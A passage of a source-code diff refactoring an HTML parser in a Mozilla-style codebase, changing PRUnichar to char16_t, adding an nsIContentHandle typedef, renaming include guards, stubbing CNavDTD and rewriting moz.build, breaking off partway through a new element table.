NS_PRECONDITION(aBuffer, "Initialized tree op with null buffer.");
mOpCode = aOpCode;
- mOne.node = aParent;
+ mOne.node = static_cast<nsIContent**>(aParent);
mTwo.unicharPtr = aBuffer;
mFour.integer = aLength;
}
inline void Init(eHtml5TreeOperation aOpCode,
- PRUnichar* aBuffer,
- int32_t aLength) {
+ char16_t* aBuffer,
+ int32_t aLength)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aBuffer, "Initialized tree op with null buffer.");
@@ -237,19 +355,21 @@ class nsHtml5TreeOperation {
mFour.integer = aLength;
}
- inline void Init(nsIContent** aElement,
- nsHtml5HtmlAttributes* aAttributes) {
+ inline void Init(nsIContentHandle* aElement,
+ nsHtml5HtmlAttributes* aAttributes)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aElement, "Initialized tree op with null element.");
mOpCode = eTreeOpAddAttributes;
- mOne.node = aElement;
+ mOne.node = static_cast<nsIContent**>(aElement);
mTwo.attributes = aAttributes;
}
inline void Init(nsIAtom* aName,
const nsAString& aPublicId,
- const nsAString& aSystemId) {
+ const nsAString& aSystemId)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
mOpCode = eTreeOpAppendDoctypeToDocument;
@@ -257,33 +377,37 @@ class nsHtml5TreeOperation {
mTwo.stringPair = new nsHtml5TreeOperationStringPair(aPublicId, aSystemId);
}
- inline void Init(nsIContent** aElement,
+ inline void Init(nsIContentHandle* aElement,
const char* aMsgId,
nsIAtom* aAtom,
- nsIAtom* aOtherAtom) {
+ nsIAtom* aOtherAtom)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
mOpCode = eTreeOpAddError;
- mOne.node = aElement;
+ mOne.node = static_cast<nsIContent**>(aElement);
mTwo.charPtr = (char*)aMsgId;
mThree.atom = aAtom;
mFour.atom = aOtherAtom;
}
- inline void Init(nsIContent** aElement,
+ inline void Init(nsIContentHandle* aElement,
const char* aMsgId,
- nsIAtom* aAtom) {
+ nsIAtom* aAtom)
+ {
Init(aElement, aMsgId, aAtom, nullptr);
}
- inline void Init(nsIContent** aElement,
- const char* aMsgId) {
+ inline void Init(nsIContentHandle* aElement,
+ const char* aMsgId)
+ {
Init(aElement, aMsgId, nullptr, nullptr);
}
inline void Init(const char* aMsgId,
bool aError,
- int32_t aLineNumber) {
+ int32_t aLineNumber)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
mOpCode = eTreeOpMaybeComplainAboutCharset;
@@ -292,26 +416,28 @@ class nsHtml5TreeOperation {
mThree.integer = aLineNumber;
}
- inline void Init(eHtml5TreeOperation aOpCode, const nsAString& aString) {
+ inline void Init(eHtml5TreeOperation aOpCode, const nsAString& aString)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
- PRUnichar* str = NS_StringCloneData(aString);
+ char16_t* str = NS_StringCloneData(aString);
mOpCode = aOpCode;
mOne.unicharPtr = str;
}
inline void Init(eHtml5TreeOperation aOpCode,
- nsIContent** aNode,
- int32_t aInt) {
+ nsIContentHandle* aNode,
+ int32_t aInt)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aNode, "Initialized tree op with null node.");
mOpCode = aOpCode;
- mOne.node = aNode;
+ mOne.node = static_cast<nsIContent**>(aNode);
mFour.integer = aInt;
}
-
+
inline void Init(nsresult aRv)
{
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
@@ -321,34 +447,38 @@ class nsHtml5TreeOperation {
mOne.result = aRv;
}
- inline void InitAddClass(nsIContent** aNode, const PRUnichar* aClass) {
+ inline void InitAddClass(nsIContentHandle* aNode, const char16_t* aClass)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aNode, "Initialized tree op with null node.");
NS_PRECONDITION(aClass, "Initialized tree op with null string.");
// aClass must be a literal string that does not need freeing
mOpCode = eTreeOpAddClass;
- mOne.node = aNode;
- mTwo.unicharPtr = (PRUnichar*)aClass;
+ mOne.node = static_cast<nsIContent**>(aNode);
+ mTwo.unicharPtr = (char16_t*)aClass;
}
- inline void InitAddLineNumberId(nsIContent** aNode,
- const int32_t aLineNumber) {
+ inline void InitAddLineNumberId(nsIContentHandle* aNode,
+ const int32_t aLineNumber)
+ {
NS_PRECONDITION(mOpCode == eTreeOpUninitialized,
"Op code must be uninitialized when initializing.");
NS_PRECONDITION(aNode, "Initialized tree op with null node.");
NS_PRECONDITION(aLineNumber > 0, "Initialized tree op with line number.");
// aClass must be a literal string that does not need freeing
mOpCode = eTreeOpAddLineNumberId;
- mOne.node = aNode;
+ mOne.node = static_cast<nsIContent**>(aNode);
mFour.integer = aLineNumber;
}
- inline bool IsRunScript() {
+ inline bool IsRunScript()
+ {
return mOpCode == eTreeOpRunScript;
}
- inline void SetSnapshot(nsAHtml5TreeBuilderState* aSnapshot, int32_t aLine) {
+ inline void SetSnapshot(nsAHtml5TreeBuilderState* aSnapshot, int32_t aLine)
+ {
NS_ASSERTION(IsRunScript(),
"Setting a snapshot for a tree operation other than eTreeOpRunScript!");
NS_PRECONDITION(aSnapshot, "Initialized tree op with null snapshot.");
@@ -356,34 +486,10 @@ class nsHtml5TreeOperation {
mFour.integer = aLine;
}
- nsresult Perform(nsHtml5TreeOpExecutor* aBuilder, nsIContent** aScriptElement);
-
- inline already_AddRefed<nsIAtom> Reget(nsIAtom* aAtom) {
- if (!aAtom || aAtom->IsStaticAtom()) {
- return dont_AddRef(aAtom);
- }
- nsAutoString str;
- aAtom->ToString(str);
- return do_GetAtom(str);
- }
+ nsresult Perform(nsHtml5TreeOpExecutor* aBuilder,
+ nsIContent** aScriptElement);
private:
-
- nsresult AppendTextToTextNode(const PRUnichar* aBuffer,
- uint32_t aLength,
- nsIContent* aTextNode);
-
- nsresult AppendText(const PRUnichar* aBuffer,
- uint32_t aLength,
- nsIContent* aParent,
- nsHtml5TreeOpExecutor* aBuilder);
-
- nsresult Append(nsIContent* aNode,
- nsIContent* aParent);
-
- nsresult AppendToDocument(nsIContent* aNode,
- nsHtml5TreeOpExecutor* aBuilder);
-
// possible optimization:
// Make the queue take items the size of pointer and make the op code
// decide how many operands it dequeues after it.
@@ -393,13 +499,13 @@ class nsHtml5TreeOperation {
nsIAtom* atom;
nsHtml5HtmlAttributes* attributes;
nsHtml5DocumentMode mode;
- PRUnichar* unicharPtr;
+ char16_t* unicharPtr;
char* charPtr;
nsHtml5TreeOperationStringPair* stringPair;
nsAHtml5TreeBuilderState* state;
int32_t integer;
nsresult result;
- } mOne, mTwo, mThree, mFour;
+ } mOne, mTwo, mThree, mFour, mFive;
};
-#endif // nsHtml5TreeOperation_h__
+#endif // nsHtml5TreeOperation_h
diff --git a/parser/html/nsHtml5UTF16Buffer.cpp b/parser/html/nsHtml5UTF16Buffer.cpp
index bb3f6c9fe..e3c0140fd 100644
--- a/parser/html/nsHtml5UTF16Buffer.cpp
+++ b/parser/html/nsHtml5UTF16Buffer.cpp
@@ -30,7 +30,7 @@
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -40,6 +40,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
@@ -65,7 +66,7 @@ nsHtml5UTF16Buffer::setStart(int32_t start)
this->start = start;
}
-PRUnichar*
+char16_t*
nsHtml5UTF16Buffer::getBuffer()
{
return buffer;
diff --git a/parser/html/nsHtml5UTF16Buffer.h b/parser/html/nsHtml5UTF16Buffer.h
index c9064e593..6469d6d27 100644
--- a/parser/html/nsHtml5UTF16Buffer.h
+++ b/parser/html/nsHtml5UTF16Buffer.h
@@ -25,13 +25,13 @@
* Please edit UTF16Buffer.java instead and regenerate.
*/
-#ifndef nsHtml5UTF16Buffer_h__
-#define nsHtml5UTF16Buffer_h__
+#ifndef nsHtml5UTF16Buffer_h
+#define nsHtml5UTF16Buffer_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -57,13 +58,13 @@ class nsHtml5Portability;
class nsHtml5UTF16Buffer
{
private:
- PRUnichar* buffer;
+ char16_t* buffer;
int32_t start;
int32_t end;
public:
int32_t getStart();
void setStart(int32_t start);
- PRUnichar* getBuffer();
+ char16_t* getBuffer();
int32_t getEnd();
bool hasMore();
void adjust(bool lastWasCR);
diff --git a/parser/html/nsHtml5UTF16BufferCppSupplement.h b/parser/html/nsHtml5UTF16BufferCppSupplement.h
index b719db0f7..4c374fecc 100644
--- a/parser/html/nsHtml5UTF16BufferCppSupplement.h
+++ b/parser/html/nsHtml5UTF16BufferCppSupplement.h
@@ -2,7 +2,7 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-nsHtml5UTF16Buffer::nsHtml5UTF16Buffer(PRUnichar* aBuffer, int32_t aEnd)
+nsHtml5UTF16Buffer::nsHtml5UTF16Buffer(char16_t* aBuffer, int32_t aEnd)
: buffer(aBuffer)
, start(0)
, end(aEnd)
@@ -24,7 +24,7 @@ nsHtml5UTF16Buffer::DeleteBuffer()
void
nsHtml5UTF16Buffer::Swap(nsHtml5UTF16Buffer* aOther)
{
- PRUnichar* tempBuffer = buffer;
+ char16_t* tempBuffer = buffer;
int32_t tempStart = start;
int32_t tempEnd = end;
buffer = aOther->buffer;
diff --git a/parser/html/nsHtml5UTF16BufferHSupplement.h b/parser/html/nsHtml5UTF16BufferHSupplement.h
index eff9af698..938d164e8 100644
--- a/parser/html/nsHtml5UTF16BufferHSupplement.h
+++ b/parser/html/nsHtml5UTF16BufferHSupplement.h
@@ -3,7 +3,7 @@
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
protected:
- nsHtml5UTF16Buffer(PRUnichar* aBuffer, int32_t aEnd);
+ nsHtml5UTF16Buffer(char16_t* aBuffer, int32_t aEnd);
~nsHtml5UTF16Buffer();
/**
diff --git a/parser/html/nsHtml5ViewSourceUtils.h b/parser/html/nsHtml5ViewSourceUtils.h
index c418c18d5..1644801b6 100644
--- a/parser/html/nsHtml5ViewSourceUtils.h
+++ b/parser/html/nsHtml5ViewSourceUtils.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5ViewSourceUtils_h_
-#define nsHtml5ViewSourceUtils_h_
+#ifndef nsHtml5ViewSourceUtils_h
+#define nsHtml5ViewSourceUtils_h
#include "nsHtml5HtmlAttributes.h"
@@ -14,4 +14,4 @@ class nsHtml5ViewSourceUtils
static nsHtml5HtmlAttributes* NewLinkAttributes();
};
-#endif // nsHtml5ViewSourceUtils_h_
+#endif // nsHtml5ViewSourceUtils_h
diff --git a/parser/html/nsIContentHandle.h b/parser/html/nsIContentHandle.h
new file mode 100644
index 000000000..b1cd6475f
--- /dev/null
+++ b/parser/html/nsIContentHandle.h
@@ -0,0 +1,5 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+typedef void nsIContentHandle;
diff --git a/parser/html/nsParserUtils.cpp b/parser/html/nsParserUtils.cpp
index d694039be..e49e2fce5 100644
--- a/parser/html/nsParserUtils.cpp
+++ b/parser/html/nsParserUtils.cpp
@@ -41,13 +41,9 @@
using namespace mozilla::dom;
-NS_IMPL_ISUPPORTS2(nsParserUtils,
- nsIScriptableUnescapeHTML,
- nsIParserUtils)
-
-static NS_DEFINE_CID(kCParserCID, NS_PARSER_CID);
-
-
+NS_IMPL_ISUPPORTS(nsParserUtils,
+ nsIScriptableUnescapeHTML,
+ nsIParserUtils)
NS_IMETHODIMP
nsParserUtils::ConvertToPlainText(const nsAString& aFromStr,
@@ -169,8 +165,8 @@ nsParserUtils::ParseFragment(const nsAString& aFragment,
if (aIsXML) {
// XHTML
if (aBaseURI) {
- base.Append(NS_LITERAL_CSTRING(XHTML_DIV_TAG));
- base.Append(NS_LITERAL_CSTRING(" xml:base=\""));
+ base.AppendLiteral(XHTML_DIV_TAG);
+ base.AppendLiteral(" xml:base=\"");
aBaseURI->GetSpec(spec);
// nsEscapeHTML is good enough, because we only need to get
// quotes, ampersands, and angle brackets
@@ -178,7 +174,7 @@ nsParserUtils::ParseFragment(const nsAString& aFragment,
if (escapedSpec)
base += escapedSpec;
NS_Free(escapedSpec);
- base.Append(NS_LITERAL_CSTRING("\""));
+ base.Append('"');
tagStack.AppendElement(NS_ConvertUTF8toUTF16(base));
} else {
tagStack.AppendElement(NS_LITERAL_STRING(XHTML_DIV_TAG));
diff --git a/parser/html/nsParserUtils.h b/parser/html/nsParserUtils.h
index 325c9fc1d..5356cf6fc 100644
--- a/parser/html/nsParserUtils.h
+++ b/parser/html/nsParserUtils.h
@@ -3,20 +3,21 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsParserUtils_h_
-#define nsParserUtils_h_
+#ifndef nsParserUtils_h
+#define nsParserUtils_h
#include "nsIScriptableUnescapeHTML.h"
#include "nsIParserUtils.h"
#include "mozilla/Attributes.h"
-class nsParserUtils MOZ_FINAL : public nsIScriptableUnescapeHTML,
+class nsParserUtils final : public nsIScriptableUnescapeHTML,
public nsIParserUtils
{
+ ~nsParserUtils() {}
public:
NS_DECL_ISUPPORTS
NS_DECL_NSISCRIPTABLEUNESCAPEHTML
NS_DECL_NSIPARSERUTILS
};
-#endif // nsParserUtils_h_
+#endif // nsParserUtils_h
diff --git a/parser/htmlparser/CNavDTD.cpp b/parser/htmlparser/CNavDTD.cpp
new file mode 100644
index 000000000..ce4ac796d
--- /dev/null
+++ b/parser/htmlparser/CNavDTD.cpp
@@ -0,0 +1,91 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* vim: set sw=2 ts=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#include "nsISupports.h"
+#include "nsISupportsImpl.h"
+#include "nsIParser.h"
+#include "CNavDTD.h"
+#include "nsIHTMLContentSink.h"
+
+NS_IMPL_ISUPPORTS(CNavDTD, nsIDTD);
+
+CNavDTD::CNavDTD()
+{
+}
+
+CNavDTD::~CNavDTD()
+{
+}
+
+NS_IMETHODIMP
+CNavDTD::WillBuildModel(const CParserContext& aParserContext,
+ nsITokenizer* aTokenizer,
+ nsIContentSink* aSink)
+{
+ return NS_OK;
+}
+
+NS_IMETHODIMP
+CNavDTD::BuildModel(nsITokenizer* aTokenizer,
+ nsIContentSink* aSink)
+{
+ // NB: It is important to throw STOPPARSING if the sink is the wrong type in
+ // order to make sure nsParser cleans up properly after itself.
+ nsCOMPtr<nsIHTMLContentSink> sink = do_QueryInterface(aSink);
+ if (!sink) {
+ return NS_ERROR_HTMLPARSER_STOPPARSING;
+ }
+
+ nsresult rv = sink->OpenContainer(nsIHTMLContentSink::eHTML);
+ NS_ENSURE_SUCCESS(rv, rv);
+ rv = sink->OpenContainer(nsIHTMLContentSink::eBody);
+ NS_ENSURE_SUCCESS(rv, rv);
+
+ rv = sink->CloseContainer(nsIHTMLContentSink::eBody);
+ MOZ_ASSERT(NS_SUCCEEDED(rv));
+ rv = sink->CloseContainer(nsIHTMLContentSink::eHTML);
+ MOZ_ASSERT(NS_SUCCEEDED(rv));
+
+ return NS_OK;
+}
+
+NS_IMETHODIMP
+CNavDTD::DidBuildModel(nsresult anErrorCode)
+{
+ return NS_OK;
+}
+
+NS_IMETHODIMP_(void)
+CNavDTD::Terminate()
+{
+}
+
+
+NS_IMETHODIMP_(int32_t)
+CNavDTD::GetType()
+{
+ return NS_IPARSER_FLAG_HTML;
+}
+
+NS_IMETHODIMP_(nsDTDMode)
+CNavDTD::GetMode() const
+{
+ return eDTDMode_quirks;
+}
+
+NS_IMETHODIMP_(bool)
+CNavDTD::CanContain(int32_t aParent,int32_t aChild) const
+{
+ MOZ_CRASH("nobody calls this");
+ return false;
+}
+
+NS_IMETHODIMP_(bool)
+CNavDTD::IsContainer(int32_t aTag) const
+{
+ MOZ_CRASH("nobody calls this");
+ return false;
+}
diff --git a/parser/htmlparser/CNavDTD.h b/parser/htmlparser/CNavDTD.h
new file mode 100644
index 000000000..8817b591b
--- /dev/null
+++ b/parser/htmlparser/CNavDTD.h
@@ -0,0 +1,39 @@
+/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* vim: set sw=2 ts=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#ifndef NS_NAVHTMLDTD__
+#define NS_NAVHTMLDTD__
+
+#include "nsIDTD.h"
+#include "nsISupports.h"
+#include "nsCOMPtr.h"
+
+// This class is no longer useful.
+class nsIHTMLContentSink;
+
+#ifdef _MSC_VER
+#pragma warning( disable : 4275 )
+#endif
+
+class CNavDTD : public nsIDTD
+{
+#ifdef _MSC_VER
+#pragma warning( default : 4275 )
+#endif
+
+ virtual ~CNavDTD();
+
+public:
+ CNavDTD();
+
+ NS_DECL_ISUPPORTS
+ NS_DECL_NSIDTD
+};
+
+#endif
+
+
+
diff --git a/parser/htmlparser/src/CParserContext.cpp b/parser/htmlparser/CParserContext.cpp
index 4e63e0f59..b953a1f4b 100644
--- a/parser/htmlparser/src/CParserContext.cpp
+++ b/parser/htmlparser/CParserContext.cpp
@@ -12,6 +12,7 @@
#include "nsIHTMLContentSink.h"
#include "nsHTMLTokenizer.h"
#include "nsMimeTypes.h"
+#include "nsHTMLTokenizer.h"
CParserContext::CParserContext(CParserContext* aPrevContext,
nsScanner* aScanner,
@@ -30,8 +31,7 @@ CParserContext::CParserContext(CParserContext* aPrevContext,
mAutoDetectStatus(aStatus),
mParserCommand(aCommand),
mMultipart(true),
- mCopyUnused(aCopyUnused),
- mNumConsumed(0)
+ mCopyUnused(aCopyUnused)
{
MOZ_COUNT_CTOR(CParserContext);
}
@@ -72,18 +72,7 @@ CParserContext::GetTokenizer(nsIDTD* aDTD,
if (!mTokenizer) {
if (type == NS_IPARSER_FLAG_HTML || mParserCommand == eViewSource) {
- nsCOMPtr<nsIHTMLContentSink> theSink = do_QueryInterface(aSink);
- mTokenizer = new nsHTMLTokenizer(mDTDMode, mDocType, mParserCommand,
- nsHTMLTokenizer::GetFlags(aSink));
- if (!mTokenizer) {
- return NS_ERROR_OUT_OF_MEMORY;
- }
-
- // Make sure the new tokenizer has all of the necessary information.
- // XXX this might not be necessary.
- if (mPrevContext) {
- mTokenizer->CopyState(mPrevContext->mTokenizer);
- }
+ mTokenizer = new nsHTMLTokenizer;
}
else if (type == NS_IPARSER_FLAG_XML) {
mTokenizer = do_QueryInterface(aDTD, &result);
diff --git a/parser/htmlparser/src/CParserContext.h b/parser/htmlparser/CParserContext.h
index 333cd40d5..8850b83d5 100644
--- a/parser/htmlparser/src/CParserContext.h
+++ b/parser/htmlparser/CParserContext.h
@@ -65,8 +65,6 @@ public:
bool mMultipart;
bool mCopyUnused;
-
- uint32_t mNumConsumed;
};
#endif
diff --git a/parser/htmlparser/moz.build b/parser/htmlparser/moz.build
index 219db51c4..b86f5e24d 100644
--- a/parser/htmlparser/moz.build
+++ b/parser/htmlparser/moz.build
@@ -4,8 +4,48 @@
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-DIRS += ['public', 'src']
-TEST_TOOL_DIRS += ['tests']
+MOCHITEST_MANIFESTS += ['tests/mochitest/mochitest.ini']
-MODULE = 'htmlparser'
+XPIDL_SOURCES += [
+ 'nsIExpatSink.idl',
+ 'nsIExtendedExpatSink.idl',
+]
+XPIDL_MODULE = 'htmlparser'
+
+EXPORTS += [
+ 'nsHTMLTagList.h',
+ 'nsHTMLTags.h',
+ 'nsIContentSink.h',
+ 'nsIDTD.h',
+ 'nsIFragmentContentSink.h',
+ 'nsIHTMLContentSink.h',
+ 'nsIParser.h',
+ 'nsIParserService.h',
+ 'nsITokenizer.h',
+ 'nsParserBase.h',
+ 'nsParserCIID.h',
+ 'nsParserConstants.h',
+ 'nsScannerString.h',
+ 'nsToken.h',
+]
+
+UNIFIED_SOURCES += [
+ 'CNavDTD.cpp',
+ 'CParserContext.cpp',
+ 'nsElementTable.cpp',
+ 'nsExpatDriver.cpp',
+ 'nsHTMLEntities.cpp',
+ 'nsHTMLTags.cpp',
+ 'nsHTMLTokenizer.cpp',
+ 'nsParser.cpp',
+ 'nsParserModule.cpp',
+ 'nsParserMsgUtils.cpp',
+ 'nsParserService.cpp',
+ 'nsScanner.cpp',
+ 'nsScannerString.cpp',
+]
+
+FAIL_ON_WARNINGS = True
+
+FINAL_LIBRARY = 'xul'
diff --git a/parser/htmlparser/nsElementTable.cpp b/parser/htmlparser/nsElementTable.cpp
new file mode 100644
index 000000000..104afa9a7
--- /dev/null
+++ b/parser/htmlparser/nsElementTable.cpp
@@ -0,0 +1,615 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* vim: set ts=2 sw=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+#include "nsIAtom.h"
+#include "nsElementTable.h"
+
+/*****************************************************************************
+ Now it's time to list all the html elements all with their capabilities...
+******************************************************************************/
+
+// The Element Table (sung to the tune of Modern Major General)
+
+const nsHTMLElement gHTMLElements[] = {
+ {
+ /*tag*/ eHTMLTag_unknown,
+ /*parent,leaf*/ kNone, true
+ },
+ {
+ /*tag*/ eHTMLTag_a,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_abbr,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_acronym,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_address,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_applet,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_area,
+ /*parent,leaf*/ kNone, true
+ },
+ {
+ /*tag*/ eHTMLTag_article,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_aside,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_audio,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_b,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_base,
+ /*parent,leaf*/ kHeadContent, true
+ },
+ {
+ /*tag*/ eHTMLTag_basefont,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_bdo,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_bgsound,
+ /*parent,leaf*/ (kFlowEntity|kHeadMisc), true
+ },
+ {
+ /*tag*/ eHTMLTag_big,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_blockquote,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_body,
+ /*parent,leaf*/ kHTMLContent, false
+ },
+ {
+ /*tag*/ eHTMLTag_br,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_button,
+ /*parent,leaf*/ kFormControl, false
+ },
+ {
+ /*tag*/ eHTMLTag_canvas,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_caption,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_center,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_cite,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_code,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_col,
+ /*parent,leaf*/ kNone, true
+ },
+ {
+ /*tag*/ eHTMLTag_colgroup,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_content,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_data,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_datalist,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_dd,
+ /*parent,leaf*/ kInlineEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_del,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_dfn,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_dir,
+ /*parent,leaf*/ kList, false
+ },
+ {
+ /*tag*/ eHTMLTag_div,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_dl,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_dt,
+ /*parent,leaf*/ kInlineEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_em,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_embed,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_fieldset,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_figcaption,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_figure,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_font,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_footer,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_form,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_frame,
+ /*parent,leaf*/ kNone, true
+ },
+ {
+ /*tag*/ eHTMLTag_frameset,
+ /*parent,leaf*/ kHTMLContent, false
+ },
+ {
+ /*tag*/ eHTMLTag_h1,
+ /*parent,leaf*/ kHeading, false
+ },
+ {
+ /*tag*/ eHTMLTag_h2,
+ /*parent,leaf*/ kHeading, false
+ },
+ {
+ /*tag*/ eHTMLTag_h3,
+ /*parent,leaf*/ kHeading, false
+ },
+ {
+ /*tag*/ eHTMLTag_h4,
+ /*parent,leaf*/ kHeading, false
+ },
+ {
+ /*tag*/ eHTMLTag_h5,
+ /*parent,leaf*/ kHeading, false
+ },
+ {
+ /*tag*/ eHTMLTag_h6,
+ /*parent,leaf*/ kHeading, false
+ },
+ {
+ /*tag*/ eHTMLTag_head,
+ /*parent,leaf*/ kHTMLContent, false
+ },
+ {
+ /*tag*/ eHTMLTag_header,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_hgroup,
+ /*parent,leaf*/ kBlock, false
+ },
+ {
+ /*tag*/ eHTMLTag_hr,
+ /*parent,leaf*/ kBlock, true
+ },
+ {
+ /*tag*/ eHTMLTag_html,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_i,
+ /*parent,leaf*/ kFontStyle, false
+ },
+ {
+ /*tag*/ eHTMLTag_iframe,
+ /*parent,leaf*/ kSpecial, false
+ },
+ {
+ /*tag*/ eHTMLTag_image,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_img,
+ /*parent,leaf*/ kSpecial, true
+ },
+ {
+ /*tag*/ eHTMLTag_input,
+ /*parent,leaf*/ kFormControl, true
+ },
+ {
+ /*tag*/ eHTMLTag_ins,
+ /*parent,leaf*/ kFlowEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_kbd,
+ /*parent,leaf*/ kPhrase, false
+ },
+ {
+ /*tag*/ eHTMLTag_keygen,
+ /*parent,leaf*/ kFlowEntity, true
+ },
+ {
+ /*tag*/ eHTMLTag_label,
+ /*parent,leaf*/ kFormControl, false
+ },
+ {
+ /*tag*/ eHTMLTag_legend,
+ /*parent,leaf*/ kNone, false
+ },
+ {
+ /*tag*/ eHTMLTag_li,
+ /*parent,leaf*/ kBlockEntity, false
+ },
+ {
+ /*tag*/ eHTMLTag_link,
+ /*parent,leaf*/ kAllTags - kHeadContent, true
+ },
+ {
